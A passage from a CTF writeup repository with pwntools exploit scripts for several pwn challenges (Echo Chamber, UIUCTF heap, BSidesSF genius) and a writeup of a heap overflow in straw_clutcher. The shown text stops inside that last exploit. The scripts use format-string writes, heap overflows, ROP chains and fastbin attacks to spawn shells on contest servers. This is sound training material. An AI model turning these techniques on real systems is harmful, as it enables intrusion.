https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/main.png -------------------------------------------------------------------------------- /2018/Harekaze CTF 2018/flea_attack/screens/open_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/open_flag.png -------------------------------------------------------------------------------- /2018/P.W.N. CTF/pwn/echochamber/README.md: -------------------------------------------------------------------------------- 1 | # P.W.N. CTF 2 | 3 | ## _Echo Chamber_ 4 | 5 | ## Information 6 | 7 | **Category:** | **Points:** | **Solves** | **Writeup Author** 8 | --- | --- | --- | --- 9 | PWN | 552 | 8 | merrychap 10 | 11 | **Description:** 12 | 13 | > Echo chambers are a thing nowadays. Flag in /opt. 14 | 15 | `nc echochamber.uni.hctf.fun 13374 ` 16 | 17 | 18 | ## TLDR Solution 19 | 20 | [echo_chamber](./echo_chamber) 21 | 22 | [libc.so.6](./libc.so.6) 23 | 24 | [ld-linux.so.2](./ld-linux.so.2) 25 | 26 | 27 | There were basically two different approaches to exploit the binary (at least, I found two of them). 28 | 29 | 1. The first one: Produce a double free attack in the echo loop using format string bug. After this, still in the echo loop, manage the `malloc` to allocate in the same chunk that was freed earlier. Quit from the echo loop and produce fastbin-like attack in tcache, allocating in `__free_hook`, writing `one_gadget` address there. 30 | 31 | 2. The second one: In the echo loop, use stack address chains to be able to write anywhere in the memory. Then just overwrite RET with the `system` address and RET+8 with the `/bin/sh` address in the given libc. 32 | 33 | I decided to implement the second one exploit. The first one I found after the CTF ended. 34 | 35 | ```python 36 | from time import sleep 37 | 38 | from pwn import * 39 | 40 | 41 | def main(): 42 | libc = ELF('./libc.so.6') 43 | 44 | pc = remote('echochamber.uni.hctf.fun', 13374) 45 | 46 | raw_input() 47 | 48 | pc.recvline() 49 | 50 | pc.sendline('%1$x') 51 | stack = int(pc.recv(10), 16) - 40 52 | print 'stack @ ' + hex(stack) 53 | 54 | pc.sendline('%5$x') 55 | text_base = int(pc.recv(10), 16) - 0x2029 56 | print 'text_base @ ' + hex(text_base) 57 | 58 | # 10 is an offset for buffer 59 | pc.sendline('%10$x') 60 | heap_base = int(pc.recv(10), 16) - 0x240 61 | print 'heap_base @ ' + hex(heap_base) 62 | 63 | pc.sendline('%19$x') 64 | libc_base = int(pc.recv(10), 16) - 241 - libc.symbols['__libc_start_main'] 65 | print 'libc_base @ ' + hex(libc_base) 66 | print 67 | 68 | print '1. become ' + hex((stack + 56) & 0xffff) 69 | print '2. become ' + hex((stack + 98) & 0xffff) 70 | 71 | target1 = libc_base + libc.symbols['system'] 72 | target2 = libc_base + list(libc.search('/bin/sh'))[0] 73 | 74 | pc.sendline('A' * 32) 75 | 76 | # 61 is the offset for the server, but 77 | # 62 is for the local exploitation 78 | pc.sendline('%{}x%25$hn'.format((stack + 56) & 0xffff)) 79 | pc.sendline('%{}x%14$hn'.format((stack + 92) & 0xffff)) 80 | pc.sendline('%{}x%61$hn'.format((stack + 98) & 0xffff)) 81 | pc.sendline('%{}x%14$hn'.format((stack + 92) >> 16)) 82 | pc.sendline('%{}x%61$hn'.format((stack + 96) & 0xffff)) 83 | pc.sendline('%{}x%24$hn'.format((target1) & 0xffff)) 84 | pc.sendline('%{}x%14$hn'.format((stack + 92 + 2) & 0xffff)) 85 | pc.sendline('%{}x%24$hn'.format((target1) >> 16)) 86 | 87 | pc.sendline('%{}x%61$hn'.format((stack + 100) & 0xffff)) 88 | pc.sendline('%{}x%14$hn'.format(target2 & 0xffff)) 89 | pc.sendline('%{}x%61$hn'.format((stack + 100+2) & 0xffff)) 90 | pc.sendline('%{}x%14$hn'.format((target2 >> 16) & 0xffff)) 91 | pc.sendline('%{}x%61$hn'.format((stack + 96) & 0xffff)) 92 | 93 | pc.sendline('q') 94 | 95 | pc.sendlineafter('Was it fun?', 'A') 96 | pc.sendlineafter('Would you echo again?', 'A') 97 | 98 | pc.interactive() 99 | 100 | 101 | if __name__ == '__main__': 102 | main() 103 | ``` 104 | 105 | > flag{something_with_tcache_ga48ghydgja} -------------------------------------------------------------------------------- /2018/P.W.N. CTF/pwn/echochamber/echo_chamber: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/P.W.N. CTF/pwn/echochamber/echo_chamber -------------------------------------------------------------------------------- /2018/P.W.N. CTF/pwn/echochamber/ld-linux.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/P.W.N. CTF/pwn/echochamber/ld-linux.so.2 -------------------------------------------------------------------------------- /2018/P.W.N. CTF/pwn/echochamber/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/P.W.N. CTF/pwn/echochamber/libc.so.6 -------------------------------------------------------------------------------- /2018/UIUCTF 2018/pwn/heap/README.md: -------------------------------------------------------------------------------- 1 | ## TL;DR 2 | This is about exploiting a heap as a data structure. Negative size of elements on the heap allows to overwrite size of the heap itself to point somewhere above. It allows to write rop chain and after this overwrite RET with stack pivot gadget to point to rop chain. 3 | 4 | [Exploit](./exploit.py): 5 | 6 | ```python 7 | import struct 8 | 9 | from pwn import * 10 | 11 | 12 | payload = '' 13 | 14 | 15 | def to_addr(n): 16 | return struct.pack('Q', n) 17 | 18 | 19 | def to_n(addr): 20 | return struct.unpack('Q', addr)[0] 21 | 22 | 23 | def line_up(pc): 24 | global payload 25 | 26 | pc.sendlineafter('Choice: ', '0') 27 | payload += '0\n' 28 | 29 | 30 | def do_head_count(pc): 31 | global payload 32 | 33 | pc.sendlineafter('Choice: ', '1') 34 | payload += '1\n' 35 | 36 | 37 | def create_char(pc, name, age, inter=False): 38 | global payload 39 | 40 | if inter: 41 | pc.interactive() 42 | else: 43 | pc.sendlineafter('Choice: ', '2') 44 | pc.sendlineafter('name?', name) 45 | pc.sendlineafter('age?', str(age)) 46 | 47 | payload += '2\n{}\n{}\n'.format(name, str(age)) 48 | 49 | 50 | def delete(pc): 51 | global payload 52 | 53 | pc.sendlineafter('Choice: ', '3') 54 | payload += '3\n' 55 | 56 | 57 | def main(pc, libc): 58 | 59 | binsh = list(libc.search('/bin/sh'))[0] 60 | setvbuf_of = 0x201FC0 61 | pop_rdi = 0x11c3 62 | pivot = 0xb29 63 | 64 | print(hex(libc.symbols['system']), hex(binsh)) 65 | 66 | create_char(pc, 'OOOO', 0xf0) 67 | create_char(pc, 'FFFF', 0x60) 68 | create_char(pc, 'DDDD', 0x40) 69 | create_char(pc, 'BBBB', 0x20) 70 | create_char(pc, 'EEEE', 0x50) 71 | 72 | delete(pc) 73 | delete(pc) 74 | delete(pc) 75 | delete(pc) 76 | delete(pc) 77 | delete(pc) 78 | 79 | line_up(pc) 80 | 81 | create_char(pc, 'A', -16) 82 | 83 | delete(pc) 84 | 85 | do_head_count(pc) 86 | 87 | delete(pc) 88 | 89 | pc.recvline() 90 | system = to_n(pc.recvline()[:6] + '\x00\x00') - libc.symbols['printf'] - 166 + libc.symbols['system'] 91 | binsha = system - libc.symbols['system'] + binsh 92 | print('System addr: ' + hex(system)) 93 | print('/bin/sh addr: ' + hex(binsha)) 94 | 95 | delete(pc) 96 | delete(pc) 97 | 98 | line_up(pc) 99 | 100 | create_char(pc, 'A', -141) 101 | delete(pc) 102 | 103 | do_head_count(pc) 104 | 105 | delete(pc) 106 | 107 | pc.recvline() 108 | base_code = to_n(pc.recvline()[:6] + '\x00\x00') - 0x459 109 | setvbuf = base_code + setvbuf_of 110 | print('base addr: ' + hex(base_code)) 111 | print('setvbuf: ' + hex(setvbuf)) 112 | 113 | delete(pc) 114 | delete(pc) 115 | 116 | line_up(pc) 117 | 118 | create_char(pc, 'A', -18) 119 | 120 | delete(pc) 121 | 122 | do_head_count(pc) 123 | 124 | delete(pc) 125 | 126 | pc.recvline() 127 | stack = to_n(pc.recvline()[:6] + '\x00\x00') 128 | towrite = stack - 1376 129 | 130 | print('Stack: ' + hex(stack)) 131 | print('To write: ' + hex(towrite)) 132 | 133 | 134 | delete(pc) 135 | delete(pc) 136 | 137 | line_up(pc) 138 | 139 | create_char(pc, 'A', -56) 140 | 141 | raw_input() 142 | 143 | create_char(pc, to_addr(base_code + pop_rdi), 0x42424242) 144 | create_char(pc, to_addr(system), binsha) 145 | 146 | do_head_count(pc) 147 | 148 | delete(pc) 149 | delete(pc) 150 | 151 | line_up(pc) 152 | 153 | print('Gadget: ' + hex(base_code + pivot)) 154 | 155 | create_char(pc, 'A', -3) 156 | create_char(pc, to_addr(base_code + pivot), towrite) 157 | 158 | pc.interactive() 159 | 160 | 161 | if __name__ == '__main__': 162 | # libc = ELF('/lib/x86_64-linux-gnu/libc-2.25.so') 163 | libc = ELF('./libc-2.26.so') 164 | 165 | # pc = process('./how2heap') 166 | # pc = remote('challenges1.uiuc.tf', 38910) 167 | pc = remote('159.89.8.102', 38910) 168 | 169 | main(pc, libc) 170 | ``` -------------------------------------------------------------------------------- /2018/UIUCTF 2018/pwn/heap/exploit.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | from pwn import * 4 | 5 | 6 | payload = '' 7 | 8 | 9 | def to_addr(n): 10 | return struct.pack('Q', n) 11 | 12 | 13 | def to_n(addr): 14 | return struct.unpack('Q', addr)[0] 15 | 16 | 17 | def line_up(pc): 18 | global payload 19 | 20 | pc.sendlineafter('Choice: ', '0') 21 | payload += '0\n' 22 | 23 | 24 | def do_head_count(pc): 25 | global payload 26 | 27 | pc.sendlineafter('Choice: ', '1') 28 | payload += '1\n' 29 | 30 | 31 | def create_char(pc, name, age, inter=False): 32 | global payload 33 | 34 | if inter: 35 | pc.interactive() 36 | else: 37 | pc.sendlineafter('Choice: ', '2') 38 | pc.sendlineafter('name?', name) 39 | pc.sendlineafter('age?', str(age)) 40 | 41 | payload += '2\n{}\n{}\n'.format(name, str(age)) 42 | 43 | 44 | def delete(pc): 45 | global payload 46 | 47 | pc.sendlineafter('Choice: ', '3') 48 | payload += '3\n' 49 | 50 | 51 | def main(pc, libc): 52 | 53 | binsh = list(libc.search('/bin/sh'))[0] 54 | setvbuf_of = 0x201FC0 55 | pop_rdi = 0x11c3 56 | pivot = 0xb29 57 | 58 | print(hex(libc.symbols['system']), hex(binsh)) 59 | 60 | create_char(pc, 'OOOO', 0xf0) 61 | create_char(pc, 'FFFF', 0x60) 62 | create_char(pc, 'DDDD', 0x40) 63 | create_char(pc, 'BBBB', 0x20) 64 | create_char(pc, 'EEEE', 0x50) 65 | 66 | delete(pc) 67 | delete(pc) 68 | delete(pc) 69 | delete(pc) 70 | delete(pc) 71 | delete(pc) 72 | 73 | line_up(pc) 74 | 75 | create_char(pc, 'A', -16) 76 | 77 | delete(pc) 78 | 79 | do_head_count(pc) 80 | 81 | delete(pc) 82 | 83 | pc.recvline() 84 | system = to_n(pc.recvline()[:6] + '\x00\x00') - libc.symbols['printf'] - 166 + libc.symbols['system'] 85 | binsha = system - libc.symbols['system'] + binsh 86 | print('System addr: ' + hex(system)) 87 | print('/bin/sh addr: ' + hex(binsha)) 88 | 89 | delete(pc) 90 | delete(pc) 91 | 92 | line_up(pc) 93 | 94 | create_char(pc, 'A', -141) 95 | delete(pc) 96 | 97 | do_head_count(pc) 98 | 99 | delete(pc) 100 | 101 | pc.recvline() 102 | base_code = to_n(pc.recvline()[:6] + '\x00\x00') - 0x459 103 | setvbuf = base_code + setvbuf_of 104 | print('base addr: ' + hex(base_code)) 105 | print('setvbuf: ' + hex(setvbuf)) 106 | 107 | delete(pc) 108 | delete(pc) 109 | 110 | line_up(pc) 111 | 112 | create_char(pc, 'A', -18) 113 | 114 | delete(pc) 115 | 116 | do_head_count(pc) 117 | 118 | delete(pc) 119 | 120 | pc.recvline() 121 | stack = to_n(pc.recvline()[:6] + '\x00\x00') 122 | towrite = stack - 1376 123 | 124 | print('Stack: ' + hex(stack)) 125 | print('To write: ' + hex(towrite)) 126 | 127 | 128 | delete(pc) 129 | delete(pc) 130 | 131 | line_up(pc) 132 | 133 | create_char(pc, 'A', -56) 134 | 135 | raw_input() 136 | 137 | create_char(pc, to_addr(base_code + pop_rdi), 0x42424242) 138 | create_char(pc, to_addr(system), binsha) 139 | 140 | do_head_count(pc) 141 | 142 | delete(pc) 143 | delete(pc) 144 | 145 | line_up(pc) 146 | 147 | print('Gadget: ' + hex(base_code + pivot)) 148 | 149 | create_char(pc, 'A', -3) 150 | create_char(pc, to_addr(base_code + pivot), towrite) 151 | 152 | pc.interactive() 153 | 154 | 155 | if __name__ == '__main__': 156 | # libc = ELF('/lib/x86_64-linux-gnu/libc-2.25.so') 157 | libc = ELF('./libc-2.26.so') 158 | 159 | # pc = process('./how2heap') 160 | # pc = remote('challenges1.uiuc.tf', 38910) 161 | pc = remote('159.89.8.102', 38910) 162 | 163 | main(pc, libc) -------------------------------------------------------------------------------- /2018/UIUCTF 2018/pwn/heap/how2heap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/UIUCTF 2018/pwn/heap/how2heap -------------------------------------------------------------------------------- /2018/UIUCTF 2018/pwn/heap/libc-2.26.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/UIUCTF 2018/pwn/heap/libc-2.26.so -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/exploit.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | from pwn import * 4 | 5 | 6 | magic_dict = { 7 | 0b0000: 'A', 8 | 0b1000: 'E', 9 | 0b0100: 'G', 10 | 0b0101: 'I', 11 | 0b1100: 'K', 12 | 0b0011: 'L', 13 | 0b1111: 'N', 14 | 0b1001: 'O', 15 | 0b0001: 'P', 16 | 0b1101: 'S', 17 | 0b0110: 'T', 18 | 0b1011: 'U', 19 | 0b1110: 'V', 20 | 0b1010: 'X', 21 | 0b0111: 'Y', 22 | 0b0010: 'Z' 23 | } 24 | 25 | 26 | def gen_input(addr, val): 27 | b1 = (val & 0b111) | ((val & 0b10000000) >> 4) 28 | b2 = ((val & 0b1110000) >> 4) | ((addr & 0b10000000) >> 4) 29 | b3 = ((addr & 0b1110000) >> 4) 30 | b4 = ((addr & 0b111000000000000) >> 12) | ((addr & 0b1000)) 31 | b5 = ((addr & 0b100000000000) >> 8) | (addr & 0b111) 32 | b6 = ((addr & 0b11100000000) >> 8) | ((val & 0b1000)) 33 | 34 | return magic_dict[b1] + \ 35 | magic_dict[b2] + \ 36 | magic_dict[b3] + \ 37 | magic_dict[b4] + \ 38 | magic_dict[b5] + \ 39 | magic_dict[b6] 40 | 41 | 42 | REMOTE = False 43 | 44 | def main(): 45 | if REMOTE: 46 | pc = remote('genius-0a835449.challenges.bsidessf.net', 1338) 47 | pc.sendlineafter('continue!\n', gen_input(0x154c, 0xab)) 48 | pc.sendlineafter('', gen_input(0x1551, 0x8b)) 49 | else: 50 | pc = process('./loader') 51 | pc.sendlineafter('continue!\n', gen_input(0x154c, 0xab)) 52 | pc.sendlineafter('', gen_input(0x1551, 0x8b)) 53 | 54 | pc.recvuntil('+----------+') 55 | pc.recvuntil('+----------+') 56 | ## 57 | ## 58 | pc.sendline('d') 59 | pc.sendline('d') 60 | pc.sendline('d') 61 | pc.sendline('d') 62 | pc.sendline('d') 63 | pc.sendline('s') 64 | 65 | pc.recvuntil('+----------+') 66 | pc.recvuntil('+----------+') 67 | 68 | # 69 | ## 70 | # 71 | pc.sendline('d') 72 | pc.sendline('d') 73 | pc.sendline('d') 74 | pc.sendline('d') 75 | pc.sendline('d') 76 | pc.sendline('d') 77 | pc.sendline('s') 78 | 79 | pc.recvuntil('+----------+') 80 | pc.recvuntil('+----------+') 81 | 82 | # 83 | ### 84 | pc.sendline('a') 85 | pc.sendline('a') 86 | pc.sendline('a') 87 | pc.sendline('a') 88 | pc.sendline('a') 89 | pc.sendline('a') 90 | pc.sendline('a') 91 | pc.sendline('s') 92 | 93 | pc.recvuntil('+----------+') 94 | pc.recvuntil('+----------+') 95 | 96 | # 97 | ### 98 | pc.sendline('e') 99 | pc.sendline('d') 100 | pc.sendline('d') 101 | pc.sendline('d') 102 | pc.sendline('d') 103 | pc.sendline('d') 104 | pc.sendline('d') 105 | pc.sendline('s') 106 | 107 | pc.recvuntil('+----------+') 108 | pc.recvuntil('+----------+') 109 | 110 | ## 111 | ## 112 | pc.sendline('d') 113 | pc.sendline('d') 114 | pc.sendline('d') 115 | pc.sendline('d') 116 | pc.sendline('d') 117 | pc.sendline('d') 118 | pc.sendline('d') 119 | pc.sendline('s') 120 | 121 | pc.recvuntil('+----------+') 122 | pc.recvuntil('+----------+') 123 | 124 | # 125 | ## 126 | # 127 | pc.sendline('s') 128 | 129 | pc.recvuntil('+----------+') 130 | pc.recvuntil('+----------+') 131 | 132 | # 133 | ## 134 | # 135 | pc.sendline('s') 136 | 137 | pc.recvuntil('+----------+') 138 | pc.recvuntil('+----------+') 139 | 140 | # 141 | ### 142 | pc.sendline('q') 143 | pc.sendline('d') 144 | pc.sendline('d') 145 | pc.sendline('d') 146 | pc.sendline('s') 147 | 148 | pc.recvuntil('+----------+') 149 | pc.recvuntil('+----------+') 150 | 151 | ## 152 | ## 153 | pc.sendline('d') 154 | pc.sendline('d') 155 | pc.sendline('s') 156 | 157 | pc.recvuntil('+----------+') 158 | pc.recvuntil('+----------+') 159 | 160 | # 161 | ## 162 | # 163 | pc.sendline('a') 164 | pc.sendline('a') 165 | pc.sendline('a') 166 | pc.sendline('a') 167 | pc.sendline('a') 168 | pc.sendline('a') 169 | pc.sendline('s') 170 | 171 | pc.recvuntil('+----------+') 172 | pc.recvuntil('+----------+') 173 | 174 | # 175 | ### 176 | pc.sendline('e') 177 | pc.sendline('a') 178 | pc.sendline('a') 179 | pc.sendline('s') 180 | 181 | pc.recvuntil('+----------+') 182 | pc.recvuntil('+----------+') 183 | 184 | # 185 | ### 186 | pc.sendline('e') 187 | pc.sendline('d') 188 | pc.sendline('d') 189 | pc.sendline('s') 190 | 191 | pc.recvuntil('+----------+') 192 | pc.recvuntil('+----------+') 193 | 194 | # 195 | ### 196 | pc.sendline('q') 197 | pc.sendline('d') 198 | pc.sendline('d') 199 | pc.sendline('d') 200 | pc.sendline('d') 201 | pc.sendline('s') 202 | 203 | pc.recvuntil('+----------+') 204 | pc.recvuntil('+----------+') 205 | 206 | # 207 | ## 208 | # 209 | pc.sendline('d') 210 | pc.sendline('s') 211 | 212 | pc.recvuntil('+----------+') 213 | pc.recvuntil('+----------+') 214 | 215 | # 216 | ### 217 | pc.sendline('q') 218 | pc.sendline('a') 219 | pc.sendline('a') 220 | pc.sendline('a') 221 | pc.sendline('a') 222 | pc.sendline('a') 223 | pc.sendline('s') 224 | 225 | pc.recvuntil('+----------+') 226 | pc.recvuntil('+----------+') 227 | 228 | #### 229 | pc.sendline('q') 230 | pc.sendline('d') 231 | pc.sendline('d') 232 | # pc.sendline('s') 233 | 234 | for i in range(13): 235 | pc.recvuntil('+----------+') 236 | pc.recvuntil('+----------+') 237 | pc.sendline('d') 238 | pc.sendline('s') 239 | 240 | pc.recvuntil('+----------+') 241 | pc.recvuntil('+----------+') 242 | 243 | # 244 | ## 245 | # 246 | pc.sendline('d') 247 | pc.sendline('d') 248 | pc.sendline('s') 249 | pc.recvuntil('+----------+') 250 | pc.recvuntil('+----------+') 251 | 252 | ## 253 | ## 254 | pc.sendline('a') 255 | pc.sendline('s') 256 | pc.recvuntil('+----------+') 257 | pc.recvuntil('+----------+') 258 | 259 | # 260 | ### 261 | pc.sendline('q') 262 | pc.sendline('q') 263 | pc.sendline('s') 264 | pc.recvuntil('+----------+') 265 | pc.recvuntil('+----------+') 266 | 267 | # 268 | ### 269 | pc.sendline('d') 270 | pc.sendline('s') 271 | pc.recvuntil('+----------+') 272 | pc.recvuntil('+----------+') 273 | 274 | # 275 | ## 276 | # 277 | pc.sendline('d') 278 | pc.sendline('d') 279 | pc.sendline('d') 280 | pc.sendline('d') 281 | pc.sendline('s') 282 | pc.recvuntil('+----------+') 283 | pc.recvuntil('+----------+') 284 | 285 | #### 286 | pc.sendline('q') 287 | pc.sendline('d') 288 | pc.sendline('d') 289 | pc.sendline('d') 290 | pc.sendline('d') 291 | pc.sendline('d') 292 | pc.sendline('s') 293 | pc.recvuntil('+----------+') 294 | pc.recvuntil('+----------+') 295 | 296 | # 297 | ### 298 | pc.sendline('e') 299 | pc.sendline('e') 300 | pc.sendline('a') 301 | pc.sendline('s') 302 | pc.recvuntil('+----------+') 303 | pc.recvuntil('+----------+') 304 | 305 | # 306 | ### 307 | pc.sendline('e') 308 | pc.sendline('d') 309 | pc.sendline('d') 310 | pc.sendline('s') 311 | pc.recvuntil('+----------+') 312 | pc.recvuntil('+----------+') 313 | 314 | # 315 | ### 316 | pc.sendline('q') 317 | pc.sendline('d') 318 | pc.sendline('d') 319 | pc.sendline('d') 320 | pc.sendline('d') 321 | pc.sendline('d') 322 | pc.sendline('d') 323 | pc.sendline('s') 324 | pc.recvuntil('+----------+') 325 | pc.recvuntil('+----------+') 326 | 327 | # 328 | ### 329 | pc.sendline('a') 330 | pc.sendline('a') 331 | pc.sendline('s') 332 | pc.recvuntil('+----------+') 333 | pc.recvuntil('+----------+') 334 | 335 | # 336 | ### 337 | pc.sendline('s') 338 | pc.recvuntil('+----------+') 339 | pc.recvuntil('+----------+') 340 | 341 | # 342 | ### 343 | pc.sendline('a') 344 | pc.sendline('a') 345 | pc.sendline('a') 346 | pc.sendline('a') 347 | pc.sendline('q') 348 | pc.sendline('a') 349 | pc.sendline('a') 350 | for i in range(8): 351 | pc.recvuntil('+----------+') 352 | pc.recvuntil('+----------+') 353 | pc.sendline('d') 354 | pc.sendline('s') 355 | pc.recvuntil('+----------+') 356 | pc.recvuntil('+----------+') 357 | 358 | pc.sendline('s') 359 | pc.recvuntil('+----------+') 360 | pc.recvuntil('+----------+') 361 | 362 | 363 | pc.interactive() 364 | 365 | 366 | if __name__ == '__main__': 367 | main() 368 | -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/genius: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/genius -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/loader: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/loader -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/screens/apply_patch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/apply_patch.png -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/screens/before_patch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/before_patch.png -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/screens/execute.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/execute.png -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/screens/first_genius.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/first_genius.png -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/screens/get_point.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/get_point.jpg -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/screens/get_shell.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/get_shell.jpg -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/screens/patched.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/patched.jpg -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/screens/read_binary.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/read_binary.png -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/screens/second_genius.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/second_genius.png -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/screens/sh_in_map.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/sh_in_map.jpg -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/genius/screens/switches.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/switches.png -------------------------------------------------------------------------------- /2019/BSidesSF 2019 CTF/straw_clutcher/README.md: -------------------------------------------------------------------------------- 1 | # BSidesSF 2019 CTF 2 | 3 | ## straw_clutcher 4 | 5 | ## Information 6 | 7 | **Category** | **Points** | **Solves** | **Writeup Author** 8 | --- | --- | --- | --- 9 | PWN | 400 | 4 | [merrychap](https://github.com/merrychap) 10 | 11 | **Description:** 12 | 13 | > Location - straw-clutcher-717c5694.challenges.bsidessf.net:4321 14 | 15 | **Files:** 16 | 17 | [straw-clutcher](./straw-clutcher) 18 | 19 | ## General information 20 | 21 | The binary was really crazy for pwn challenge :D 22 | 23 | There are a lot of code, but if you spend enough time on it, then it wouldn't be a problem to find the bug. But first things first. 24 | 25 | ## Reversing the binary 26 | 27 |

28 | 29 |

30 | 31 | So, there is a global buffer for user input which is allocated on a heap. After we input data, it's compared in some obfuscated way with characters. I will not cover reverse part here, because it's not very complicated and you can do it by your own. Most of the code here is different input validations, so this is not very interesting 32 | 33 | The binary is kinda file transfer server and there are several actions we can produce (all "files" are memory structures and not the "real" files): 34 | 35 | - `PUT [FILENAME] [FILE SIZE]` - creates a file with the specified filename and size. After this, we read data into the created file. 36 | 37 | - `RENAME [OLD FILENAME] [NEW FILENAME]` - rename a file 38 | 39 | - `DELE [FILENAME]` - delete specified file. It also frees the data that were allocated for this file 40 | 41 | - `RETR [FILNAME]` - print file's data 42 | 43 | - `TRUNC [FILENAME] [NEW SIZE]` - truncates the size of a specified file. 44 | 45 | Okay, you can play now with the server to understand the functionality more deeply. 46 | 47 | By the way, files are basically linked-list and each file has a pointer to the previous file structure. Hence, when it iterates through the files, it starts with the last one and goes up to the first. 48 | 49 | ## Vulnerability 50 | 51 | After looking around the code searching for the vuln I found some interesting place in `RENAME` function: 52 | 53 |

54 | 55 |

56 | 57 | First of all, we check `old_name` length and force it can't be longer than `0x1f`. And then the same for `new_name`, but... We check `old_name` again instead of `new_name` length. That's the vuln - __heap overflow__. 58 | 59 | Now, let's explore the file structure (I suppose everything should be clear): 60 | 61 | ```c 62 | struct file_t { 63 | char filename[0x20]; 64 | unsigned long file_size; 65 | char *data; 66 | long free_option; /* clear a chunk via munmap or free */ 67 | struct file_t *prev_file; 68 | }; 69 | ``` 70 | 71 | So, by overflowing filename we can overwrite `file_size, `data` and `prev_file` fields. 72 | 73 | By the way, thanks to [iddm](gyiddm@gmail.com) to point me out that free_option is actually present in the structure (previously I wrote that this a dummy structure field and isn't used in the binary, but I obviously was wrong) 74 | 75 | 76 | ## Leaking addresses 77 | 78 | First of all, we want to leak some addresses, so let's start with `file_size`. By writing some big number into `file_size` and then calling `RETR` we can leak everything on the heap below the current chunk. Libc address can be leaked by creating unsorted bin chunk below the target chunk and heap addresses can be leaked by just creating some new file below the target. Cool, we have `libc` and `heap` addresses. 79 | 80 | ## Spawning the shell 81 | 82 | I forgot to say that there are some constraints on the filename, namely, `[A-Za-z0-9]+.[A-Za-z0-9]{3}` or something like this. 83 | 84 | My main target was overwriting `__malloc_hook` with `one_gadget`, so we need to achieve fastbin attack. To do this, double free will be the best choice. When we delete a file something like this happens: 85 | 86 | ```c 87 | free(file->data); 88 | free(file); 89 | ``` 90 | 91 | So we can try to create a fake chunk `fake_file` where `fake_file->data` will point to some freed chunk with `0x70` size. Hence, it's double free and fastbin attack can be performed. 92 | 93 | Let's consider some `file` structure. To create a fake chunk we can overwrite lsb of `file->prev_file` to point to `file->data` which we control without any constraints. To do this, we need that lsb of `file->data` will satisfy constraints on a filename. 94 | 95 | If everything is okay, then we can produce typical fastbin attack with overwriting `__malloc_hook`. 96 | 97 | ## Exploit 98 | 99 | The final exploit is as follows (I added some comments to make it more readable): 100 | 101 | ```python 102 | from pwn import * 103 | 104 | 105 | def 